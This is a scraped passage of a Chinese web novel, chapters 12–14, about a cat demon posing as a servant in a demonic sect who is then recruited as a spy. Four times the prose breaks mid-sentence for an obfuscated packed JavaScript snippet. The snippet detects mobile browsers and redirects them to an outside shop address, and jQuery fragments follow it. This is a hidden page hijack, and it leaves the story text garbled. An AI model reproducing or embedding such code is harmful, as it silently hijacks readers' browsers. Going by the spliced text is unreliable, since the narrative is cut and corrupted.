“啸风。”宋昭雪捧住毛茸茸的狗头,努力接住想要往自己身上爬的黑白大狗,方才眉眼之中的冷色弥散于无。 啸风是他五岁那年在后山捡到的狗崽子,如今已经跟在自己身边七年了,也从一只手就能轻易抓住的幼崽变成足足有半人高、威风凛凛的神犬将军。 宋昭雪掀开桌子上的菜篮,将其中一半的饭食倒进了早就洗净的另一个饭碗。 啸风也熟络地跳上椅子,大口咀嚼起来。 宋昭雪的唇边溢出笑意,解决完饭食之后也没有着急去练功,而是在试图理清今夜的怪事。 自己需要在寒潭练功以压制体内的火毒,这在教内并不是什么秘密,更何况以花零的身份,知道就更不奇怪。她并没有理由忽然袭击自己,又或者是她有悖主之意? 可刚刚自己一番试探却又被她打了回来,可那掐头去尾甚至带些嘴硬的架势,分明是在有意隐瞒什么。宋昭雪闭上眼睛,伸手招呼啸风过来,在它毛茸茸的狗头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406001|200514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上面深吸了一口气,“这回是我太心急了,来日方长,我总会搞清楚她的目的。” “汪汪!”啸风狂摇尾巴,似乎很高兴于主人的亲近。 忽然,他疯狂摇晃的尾巴顿了一下,然后凑近宋昭雪的袖口,抽动着湿润的黑色鼻头在拼命捕捉气味。 “在闻什么?”宋昭雪反手捧住狗头,试图安抚。 但啸风摇晃尾巴的动作变得急躁起来,还在不停地嗅着,宋昭雪也看出了啸风的不对劲,“我没有藏吃的,也没有背着你去吃好吃的。” 但啸风充耳不闻。 这就有些难办了,宋昭雪皱起眉头,啸风在教中有‘神犬将军’的美称,是因为它非但对除自己以外的人凶猛异常,同时又忠心聪敏,能听懂他大部分的指令。 宋昭雪将两只手摊开在了啸风面前,“我真的没有背着你偷吃东西。” 可啸风却无视了他伸过来的左手,还是一股劲儿地往宋昭雪的右手上凑。 宋昭雪见根本无法阻止,也就随它去了。啸风也没有将宋昭雪全身闻一遍的打算,来来去去就是在手腕处和手指尖,一边两边,似乎在确认什么。 忽然,宋昭雪的脑中灵光一闪,试探道:“啸风,我今日在寒潭练功之时,被贼人偷袭了。” 啸风的古怪动作果真停了下来,一双充满智慧的碧蓝色眼睛望着他,似乎在等下文。 “那时冰蚕阻碍了我的视线,我曾短暂地与他交过手,再睁眼的时候,贼人已经逃之夭夭。” “汪!汪!”啸风一屁股坐在了地上,将右前肢放在宋昭雪的膝盖上,仿佛在承诺自己会保护他。 “我怀疑那人是花零,只是没有证据。”宋昭雪的墨色眼眸中闪过一丝算计,“若有机会,你能帮我确定吗?” 这回啸风没有再叫。 正经的神色之下,内心疯狂反驳,不可能,绝对不可能! 因为残留在他身上的,分明是妖气!花零它是见过的,她只是普通两脚兽! 有只恶妖悄悄潜入了日轮教! 12. 第 12 章 翌日。 香蒲起了一大早,也不知道是因为习惯了这样的生活,还是因为昨夜发生的怪事让她念念难忘。 榨取生机的法子,无论是在人间还是妖界都是格外阴毒的手段,这让香蒲升起了几分不安。来到人间之后,她的确过得太安逸了。 香蒲打着哈欠出门,经过昨夜一探,此地没有自己想象的那么安全,她出山不是来吃苦的,自然没有必要非得留在这里。只是此地也并不是真的过不下去,日子都是对比出来的,好像与其他人相比,自己也过得并不算差。 她想了又想,还是打消了挪窝的念头。 尤其是她刚走出房门,就看见了一只绿鸟。 通体碧绿,双翼却布满黄黑相间的横纹,犹如虎皮,只是正点着脑袋,在啄食地上的东西。 那是一条干瘪的虫尸,但不知为何,对它有着无与伦比的吸引力,为此它还是一路过五关斩六将,啄秃了它好几个兄弟姐妹才成功抵达。 战利品的味道比它想象得还要鲜美。它叼起身下的半截虫尸,正要带回去好好享受的时候,忽然一道黑影从天而降! “抓到了!”香蒲兴奋地举起手。 场面静默了一瞬,紧接着众人发出整齐的抽气声。苏采薇走出房门,见到的就是这一幕,恨不得两眼一翻昏死过去。 “你们的表情也太奇怪了吧?”小猫咪听不懂人话,但还是挺能看脸色的,这大概是一种小动物对于危险的天然预警。 苏采薇拼命掐着自己的人中,以免自己晕过去,“鹦哥是万兽堂那边养的‘神兽’之一,它是有主的,你快放了它。” “不能吃啊。”香蒲用拇指点了点鹦鹉的脑袋,随即换来一声尖利的大叫。 “蠢猪!蠢猪!” “放开老子!放开老子!” “喂,你的命还在我手上。”香蒲眼神不善。 苏采薇赶紧快步上前,直接从香蒲手上抢走了鹦哥放生。 “你跟它废什么话,鹦哥又没有脑子。”说了也是听不懂的,但苏采薇知道香蒲脑子轴,生怕她真的掐死了这只鹦哥。 香蒲努了努嘴,一副不服管教的样子。苏采薇却是面色沉重,她知道这一次不一样。 香蒲之前只是小打小闹,那会真的有某位大人物对茅厕扫得干不干净真正地上心?人家房间里的恭桶有专门的奴才洗刷,根本看不上香蒲这种人。 但鹦哥就不一样了,听说在万兽堂那边,这种通人性的宠物都是早早被人定好,在大人物那里挂了眼的。 看着香蒲没心没肺的模样,苏采薇欲言又止,理智告诉她多余的同情心在这魔教可是会要了她的命,但是香蒲……她也不愿意看着香蒲就这样送了命。 苏采薇忧心忡忡了一整日,结果等到晚上再见到香蒲的时候,她依旧是一副死猪不怕开水烫的模样,一下子心里那团火气又冒头了。 香蒲被苏采薇带到了一处僻静的角落,她左右看看:“是打算给我什么惊喜吗?” “你真是……”苏采薇刚说了一半,又赶紧深吸一口气,告诉自己不能和这个傻子动怒,否则被气到的只有自己。 “今天可有什么奇怪的人找上门?” “没有。” 苏采薇皱了皱眉:“不应该啊……那有没有人刻意为难你?” “也没有。”香蒲摊开手,好心询问,“是被人欺负了吗?我可以帮你打他。” 香蒲:“但是要给钱……不,给报酬就行了。” 苏采薇无奈扶额:“你真是好的不学坏的全学了过去,还没加入魔教呢就学会了拿人钱财杀人越货的勾当。” 香蒲噘嘴,还想给自己辩解,却忽然听见苏采薇用极轻的声音问道:“香蒲,你会武功吗?” 香蒲,你会武功吗? 香蒲直直地望进了苏采薇眼中,然后给予了她回答。 “会哦,我已经习武三年了。”说着,香蒲给她表演了一招白鹤亮翅。 苏采薇的嘴角抽抽,看着香蒲滑稽的动作,她发现自己似乎对她抱太大的希望了。 香蒲当然是随口乱说的,毕竟她才刚下山,哪里有三年习武经验,但满打满算,三天还是有的。但她又不是傻子,普通两脚兽怎么可能在三天内将藏书阁的武学秘籍都融会贯通,所以她才撒谎是三年。 殊不知,即便是三年,学会整栋藏书阁的武学秘籍也是天方夜谭。 但好在香蒲面前的是同样对武功知之甚少的官家小姐,苏采薇一边点着头,半信半疑地听着。 “那香蒲,你想过离开吗?”苏采薇捏着拳头,眼睛里像是有光。 香蒲没有说话,但苏采薇以为她是害怕了。也对,毕竟才习武三年,而这魔教内高手如云,香蒲再厉害,落在他们眼里不过是三脚猫的功夫。 “最近教中异动不少,昨日和我一起当值的仆役征用去运尸,而他看见了,那尸体生前应该是捕快。” “嘉禾县的知县大人已经注意到了最近的人口失踪,他们已经派出了捕快来调查……我们,”苏采薇的眼中闪过了名为希望的光,“我们一定能离开的!” “但我不打算走。”香蒲回答。 “为什么!”苏采薇瞪大了眼睛。 “我不想轻易挪窝。”香蒲实话实说,许是因为她化形没有多久,还改不了动物的习惯。在自然界,没有多少动物会喜欢迁徙。陌生的地方意味着更大的风险。 “但你留在这里就是死路一条,不过是早晚的事。”若不是根本打不赢香蒲,她简直想一巴掌将香蒲打醒。 “好了,我会看好自己的。”香蒲说,“但如果你想逃跑的话,我可以装作看不见。” 苏采薇张了张嘴,忽然被自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406002|200514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才的决定惊出了一身冷汗,是了,香蒲既然不打算逃,那就与自己不是同路人。之后可不能同她那么亲密了。 * 香蒲觉得苏采薇就是个乌鸦嘴。 昨天才问有没有人找自己的麻烦,今日自己就被人带走了。 内务堂。 鎏金书写的牌匾挂在头顶,在阳光的映衬下熠熠生辉。 遭了,被闪到眼睛了。 香蒲揉了揉眼睛,不一会儿眼睛就变得红彤彤的。 “现在认错也晚了。” 孙长老重重而将茶杯往桌子上面一放,香蒲下意识警觉地抬起头,那双红彤彤的眼睛在众人面前无所遁形。 “听说你联合外人,杀我座下仆役两名?” “没有。”香蒲哪里能忍得这老头冤枉自己,立刻疯狂摇头。 “呵,还在嘴硬,若不是依仗着丑姑,我那嬷嬷和弟子又怎么会落得一个尸骨无存的下场。” “那就是丑姑干的,与我无关。”香蒲再三保证,“人可不是我杀的,我……我只是打伤了他们。” “还在狡辩!”孙长老忽然掌击木桌,桌上茶杯立刻爆裂,碎片齐齐朝着香蒲袭去。 在寻常人眼中的千钧一发时刻,在猫妖化形的香蒲眼中,这些碎片都——太慢了! 香蒲慢悠悠地侧开脑袋,然后又往旁边挪了几步,“咻咻”几声,碎片全都扎在了她刚才所在的位置。 孙长老眼中闪过了一丝惊讶,他开始明白为何彭断山那个老家伙会向自己讨要香蒲了。而且瞧香蒲刚才的动作,似乎没有任何内力,下盘重心也不够稳,显然是没有练过武,单纯依靠本能反应。 如此练武奇才,的确百年难得一遇。但人既然都在自己的手里了,哪里还有送出去的道理。 “不错。”孙长老抬手,一旁的仆役将重新备好的新茶递上。 孙长老轻抿了一口,慢条斯理道:“你可知像你这般的低等仆役,最后会是什么结局。” “升官发财!”这题香蒲会,山里面从人间历练回来的妖偶尔会告诉她一些人间的事。 “哈哈哈,有趣、有趣。”孙长老大笑出声,真的好久没有见过如此有意思的人了。 “的确能够升官发财,如今整个教中的茅厕都归你统领,若再进一步,你便可以成为中等仆役,专门为教中堂主、核心弟子打扫恭桶,那活计比你如今可轻松不少。” 香蒲大惊失色,就没有不是埋屎的活计吗? 香蒲的脸色太好懂了,神情之中的不情愿就那么明晃晃地被孙长老看清,果然如此,哪个女娃娃愿意一辈子与屎尿为伍? “但若你愿意为我做一件事,本长老许你一个不一样的前程。” 而此时,香蒲脑瓜子已经嗡嗡的,小猫咪的洁癖发作了。原来在这里升官发财的尽头还是埋屎吗? 13. 第 13 章 “我想离开了。” 苏采薇连一个眼神都没有给香蒲,“你昨天才信誓旦旦地保证不走。” “那不一样。”香蒲有些惆怅,“在这里不能升官发财,升官了也还是铲屎官。” 苏采薇这回倒是给了她一个白眼:“你倒是想得美,你以为魔教是你想进就进,想走就走的地方?就算你下定决心想逃,也得好好计划一番。” 她顿了顿,又像是在警告自己:“机会只有一次。” “魔教?!”香蒲手里的果子也不吃了,震惊地看着苏采薇,“这里不是圣教吗?” “……谁告诉你的?” “其它弟子都这样说。” 苏采薇不知道如何跟香蒲解释人都好面子这个问题,毕竟香蒲有时就挺不要脸的。 “你是怎么觉得天天死人的地方会是圣教?” “外面不也是天天死人?”香蒲一脸你休想骗我的机智模样。 一时之间,苏采薇语塞,的确,外头也天天在死人,尤其是今年江南水患,官员偷换赈灾粮,饿死的、病死的、被人害死的比比皆是。 “那依你之言,这天大地大根本没有一个安身之所,你又打算去哪儿?” “去投奔熟人!” 香蒲忽然变得兴奋起来,“在我出村之前,邻居说如果混不下去了,可以去投靠他二叔的婆娘的侄儿!” 香蒲的邻居是只黑熊精,她还记得他板着指头给自己数好处的样子。 “一个月有半两的银子,一天的休沐,绫罗绸缎,好吃好喝,府中美人如云赏心悦目……要不是我二叔的婆娘的侄儿在里头混得不错,这桩好差事哪能轮到你。” 当时香蒲听得心驰神往,对人间的印象一下子好到了极点。 “敢问黑熊大人的二叔的婆娘的侄儿在里头是哪位贵人,当了什么差事?” “哦,他在给少爷当狗。” 香蒲:……??!! 而苏采薇也同时和香蒲发出了一样的疑问。 “香蒲,你这个亲戚当的是正经狗吗?” “应该是十分受宠的狗奴才。”香蒲肯定道。 苏采薇的眉头微不可见地抽了抽,她并不觉得能和香蒲混到一块儿的亲戚能有多少心眼子。 “对了,”苏采薇随口一问,“那你那个同村在哪里当狗?” “日轮教。” “咳咳咳——”苏采薇忽然发出惊天动地的咳嗽声。 香蒲奇怪地看着她,仿佛在看一个傻子:“被自己的口水呛到了?” “你可知道这里是哪里?” “魔教啊,你说的。”果然是个傻子,这不刚刚告诉自己的吗? “全名呢?” 香蒲陷入了沉思,的确,她没有从其他人的口中听到过圣教的完整名字。 香蒲有了不好的预感。 苏采薇手指了指这块土地:“日轮教。” 香蒲默默地转过了身,垂着脑袋。 苏采薇也跟着换了一个方向,站在她面前,抓住了她的肩膀:“不要逃避事实,看来你的同村真的是狗。他已经成为了魔教的鹰犬。” 苏采薇的语气颇为沉重:“你日后就算见到了,也要避着他走,可千万不要叫他认出你。” 香蒲嗯嗯地应了两声,实际上下一秒就抛诸脑后了,既然知道有同族在这里,那当然是抱大腿去!她对灵山的妖还是很有信心,它们定然不会作出什么残害同族的事。 但香蒲一连转悠了好几天,也没有发现其它妖族留下来的痕迹。如果不是黑熊精给自己的情报有误,这个妖已经离开了,那么就是这只妖的修为要比自己强上许多,自己完全察觉不到他的气息。 又或者因为自己是下等仆役,接触不到更高层的人。 但这些事情先放到一边去,半夜,香蒲忽然睁开了眼睛,小心翼翼地推开苏采薇,从人群之中挤了出来。 没走两步,到达寂静无人的地方后,一只黑白相间的小猫凭空出现。 香蒲轻车熟路地往藏书阁走去,四只爪爪脚步轻快,尾巴竖起,她等的人终于又来了。 * 宋昭雪再次潜入了藏书阁。 他刚从怀中掏出那本《天蚕九变心经》,忽然就有一种被窥视的感觉。 他猛地抬眼,对上了那双绿油油的猫瞳。 香蒲直勾勾地盯着他手上的那本书,有了上次的教训,这回香蒲没有再叫,而是扬了扬下巴,示意他快放回去。 宋昭雪一动不动,眼中弥漫出丝丝的恼怒,又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406003|200514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这只猫,他不敢轻举妄动,生怕这只猫又坏了自己的好事。 香蒲在心里叹了大大的一口气,这只两脚兽真是太不通猫性了。 于是她轻盈地一跳,落在了宋昭雪肩膀上。 那份微沉的重量落在肩头上的瞬间,宋昭雪的墨色瞳孔骤然缩紧。毛茸茸的触感扫过脸颊,那是和狗毛截然不同的感觉,温暖又柔软。 还有些痒。 宋昭雪绷直了身体,任由这只孽畜大摇大摆地走过自己的肩膀,走过上臂,猫爪扣在自己的护腕上,最后停在了自己的左手处。 好沉,宋昭雪心里忽然浮现出这个念头,真是一只肥猫。 香蒲伸出藏在肉垫里头的爪子,翻开了宋昭雪手上秘籍的第一页,第二页,迅速地翻阅着。 而不过短短几息,二十来页上头的一字一句都被香蒲复刻在了脑子里头,好无聊的武功秘籍。 与其说是武功秘籍,不如说是一门有点邪门功夫。同时香蒲也弄清了那日寒潭里面的东西是什么。 那是一种至阴至毒的蚕种,身负寒毒,可用来提炼剧毒,而在吸食活物的鲜血之后就会迅速地成长,繁衍,并将一身的寒毒留在宿主体内。 而配合《天蚕九变心经》则可将一身寒毒炼化为自己所用,只不过为了避免自己被毒死,期间需要配合各种药材进行药浴,以此消解毒性。而炼制最高层即是玄阴噬魂掌,内力冰寒,出招带着蚀骨剧毒,与其对上,触之即死。 香蒲回头看了一眼宋昭雪,没想到此子年纪轻轻,却手段如此狠毒,竟然会专门修炼这种邪门的术法。 看完了书,作为一只识相的小猫咪,香蒲就从宋昭雪手上跳了下来,肉垫落地,无声无息。 尽管宋昭雪觉得这只黑猫邪门,但如今显然不是算账的时候,他将书籍放回原位之后迅速地翻找起来。 香蒲看了一会儿,大概明白了。 这家伙是在找《天蚕九变心经》的下册呢,那上册只有内功,却没有写完解毒的药材。 但问题是……这藏书阁中,并没有下册。 香蒲一边舔着胸前的白毛,一边时不时抬头看着宋昭雪的动作,在前几日,她就将藏书阁中的所有武林秘籍都学了一遍,她肯定藏书阁整整六层楼,都没有下册。 14. 第 14 章 香蒲没有继续跟着宋昭雪,在原地将自己的毛毛都给理顺之后,就消失在了黑暗之中。 猫猫知道他在找什么,但猫猫不告诉他。 翌日,天刚蒙蒙亮,院子中甚至还有没来得及消散的薄雾,香蒲就被人从床上抓了起来。 闯入的是几个健壮的男人,将这一屋子的女奴吓得不清。 “谁是香蒲?”为首的男人视线滑过这些女人,眼中有淫邪之色一闪而过。 “嗯?谁找我?”香蒲腾地一下子从床上坐了起来。强大的猛兽从来不会在任何一个地方睡死,香蒲立马恢复了清明。 “跟我们走一趟,孙长老有请。” 香蒲迈着小短腿,努力跟上前方的人,但不知道为何,前面带路的人越走越快,越来越快,香蒲逐渐掉队了。 她觉得有点累了,干脆直接停了下来,左顾右盼,找到了一棵看起来十分不错的大树,屁股往树底下一坐,就打算闭目养神。 “你在干什么!” 下一刻,香蒲觉得自己又被提了起来。她挣扎了两下,没能将自己的衣领拯救出来,于是干脆放任自己四肢自由下垂,一副死猪不怕开水烫的模样。 “你走太快了,我跟不上。”香蒲把责任全都推卸给他们,反正不可能是猫猫的错。 那两名弟子气得七窍生烟,他们原先是觉得自己堂堂一个三流高手,居然被孙长老支使去请一个仆役,受到了侮辱,这才想给香蒲一点颜色瞧瞧。 哪里知道这人居然气性那么大,直接找棵树睡下。 若在平时,他早就一掌打死这个不知死活的下等奴才,但想到孙长老还在等着,只能暂时忍气吞声。 他将香蒲放下,声音凶恶:“跟上。” 香蒲像坨烂泥一下被放在了地上,在被瞪了一眼之后才有气无力地继续站起,跟着人走。 做人真是太辛苦了,猫猫什么时候才能过上好日子。香蒲心里叹了一口大大的气。 内务堂。 孙长老的茶换到第二盏的时候,总算将香蒲盼来了。 “哼,架子还挺大,让这内务堂所有人等着你一个。”孙长老的心眼比针尖还小,即便香蒲还是个九岁的孩子,也要同她计较。 “因为我腿短。”香蒲实话实说。 孙长老:“……”她还只是一个孩子。 孙长老努力说服自己不要和她计较。 “上次事,你考虑得怎样?”孙长老再次开口。 上次的事?香蒲的眼睛睁大。 见状,孙长老眉头的青筋一跳,“你不会忘了吧?”他的忍耐是有限度的,并非非香蒲不可。 香蒲的脑子空空,其实是根本没有用心听。但奈何她天资聪颖,稍微回忆一下就记起来了。 ——让她去当探子。 日轮教坐落于嘉禾县外围的一处山谷之中,对外称是当地富户陈员外的私宅,而实际上陈员外不过是日轮教的教徒之一,掌管这巴南一片的商路,而若是回到教中,那就是传说中赫赫有名的右护法。 然而,近日朝廷不知为何对他们这处‘私宅’起了疑心,非但三天两头找借口封了他们的店铺,平日里还严加看管,不许客人进来买卖。 而但凡在附近逗留的百姓统统被带走盘问。甚至,近日更是派捕快卧底潜入教中。 奇也怪也! 这么多年以来,日轮教分坛和当地朝廷相安无事,即便日轮教在江湖中恶名居多,但巴南的分坛以经商为主,因此也还算低调,从未引起官府过多的注意,也不知道为何朝廷居然开始严查。 孙长老的第一反应是动用自己安插在嘉禾县中的探子,但那些探子大多数被拔掉,而剩余部分也传不回什么有用的消息。最后他只能将希望寄托于右护法身上。 可就是在这时,事情变得不对劲起来。 孙长老的那双深深陷入眼窝之中的眼珠子闪过一道精光,这右护法不对劲……甚至是,有反心。 这个猜测刚出来的时候,孙长老被自己的想法惊出了一身冷汗。右护法是他们分坛最重要的钱袋子,若真的投靠了那朝廷,整个分坛的覆灭不过是一念之间。 不不不,事情不能如此草率地下结论,孙长老强迫自己冷静下来。 如今局势不妙,外有朝廷盯着,内有大公子骄纵行事,这就是孙长老这段时间任由香蒲在教中‘无法无天’的缘由。 投诉得再多,也还是茅坑的事,和内忧外患比起来简直是浪费时间! 现在最重要的是查清楚外面到底发生了什么,朝廷为何突然对日轮教态度大变?右护法到底有没有反叛之心! 但听得多了,香蒲的名字也在孙长老的心里挂上了号。 孙长老:“老夫需要你混迹在城内的乞儿之中,为本教探听一些事务。” 不能用教中原有之人,得找一个右护法从未见过的生面孔,还要机灵……想到这里,孙长的目光停滞了一下。 他盯了香蒲两秒……应该算是机灵的吧? 香蒲正巧没有机会混进教中高层居住的地方去找同族,于是这回很爽快地点头答应。 却不料这时,外头忽然传来一阵煞风,屋子里头顿时狂风乱作,将孙长老背后挂的字画都吹卷起一角。 丑姑的声音不急不慢地传来:“孙长老,你把我的人带走了,我这仆役院的活计可没人干了。” 孙长老放下茶杯,当啷一声闷响,同时气劲轰然爆发,强行压下了这一屋子乱窜的狂风。 “言重了,不过是一个力气大的仆役而已,后勤那点杂活儿谁都能干。” “那可不一样。”丑姑轻笑,“她一个人顶六个人,需要的时间只有两成,这样的可人儿,这教里找不出第二个。” 听到这话时,孙长老的眸色也微动,居然那么好用吗,但正因如此,他才更加不可能放过香蒲。 但孙长老也不想和这个疯女人有过多的纠缠,共事多年,他自然知道怎么戳她的心窝子。 想到传回来的情报,孙长老露出一抹轻蔑的笑:“放心,你记挂的好苗子老夫定然不会害了她,她只需要在城门口帮老夫盯梢就行。” “而且,听说这次为了对付圣教,有一帮武林豪侠打着除魔卫道的旗号也一并参与了进来,其中就有神仙侠侣之称的谢无争及其妻子林—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406004|200514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 孙长老的声音戛然而止,只见他手侧的杯盏赫然被一根红线贯穿,澄澈的茶水浸润了赤红色的丝线,一路往上。 丑姑抽回手,笑容依旧不变:“你知道的,我听不得以前的事。” 孙长老的面色依然是一片铁青,疯婆子,真的是一个疯婆子! 而比起丑姑喜怒无常的脾气,更加令他后怕的乃是丑姑刚才的出招。她的武功又变强了,若刚才她直指的是自己的咽喉,自己……大概不能全身而退。 丑姑无视面色铁青的孙长老,在路过香蒲,伸手揉揉她的头,而后那只微凉的手从她的头发一路滑到了脸颊。 香蒲警惕地看着她,一双依旧水灵的大眼睛中一下子褪去了之前的散漫,换上了一副警觉的模样,就像受了惊的动物,仿佛下一刻就会向她伸出爪子。 丑姑身上的杀意并没有散去,反而越发地浓郁了,香蒲觉得,如果自己现在是猫的模样,一定会控制不住炸毛,然后立马离她远远的。 并非因为自己不是她的对手,而是和孙长老一样,不想招惹面前这个放任自己理智脱缰的疯子。 “小香蒲。”丑姑掐住了香蒲的下巴,笑眯眯:“好好替那位老爷爷做事,不要丢了血刑堂的脸。” 撂下一句话之后,丑姑就离开了。 孙长老也被这丑姑突如其来的一出扰得头疼,对香蒲道,“这几日你就不要再去干那些杂活,稍后会有玄谍司的人来找你,教你如何成为一个合格的暗桩。” 说罢,他便挥了挥手,让香蒲退下。 香蒲从来时的路返回,第一眼见到的便是路上躺满的仆役。有些已经死透了,有些则捂着肚子,手臂,小腿,或者是其它地方,用手掌堵着那一根细绳大小的洞口,不让血流出来。 但没有一个人敢放肆呻吟,生怕那个女魔头又杀回来。 香蒲小心翼翼地绕开她们,这里的血腥气也太重了,小猫咪并不喜欢这种味儿大的地方,会干扰她的嗅觉。 而出门时,已经有人在等候了。 他是一个中年男人,很瘦,脸色枯槁蜡黄,样貌和外头耕作的普通庄稼老汉没有什么两样。 他用他那双浑浊的眼睛仔仔细细地打量了香蒲,最后落在了还有些肉嘟嘟的小手上,嘲弄道“是新人?” 香蒲身上还有些肉,脸上也干净,没有那种对生活绝望的麻木神情。 他转过身,示意香蒲跟上,“我警告你,别想着逃,你们新人总是抱着那种找死的想法,可别连累了我。” “这一路上都会有人盯着你,别问我是谁,我也不知道是谁。从现在起,你的代号是亥十三,除了上头交代你的任务,你还需要去盯着一个卖糖糕的老婆婆,她也是我们的人,但你不能暴露自己的身份。” 男人絮絮叨叨,但香蒲听懂了,玄谍司为了防止探子背叛,会让他们之间相互监督,但这种监督是单向的,香蒲只知道自己要监视的人,却不知道谁在监视自己,而一旦背叛,自己马上就会被除掉。 香蒲没有觉得害怕,反而是一副受教了的模样,果然要出来多见世面,两脚兽脑子里面的花样可真是多呀。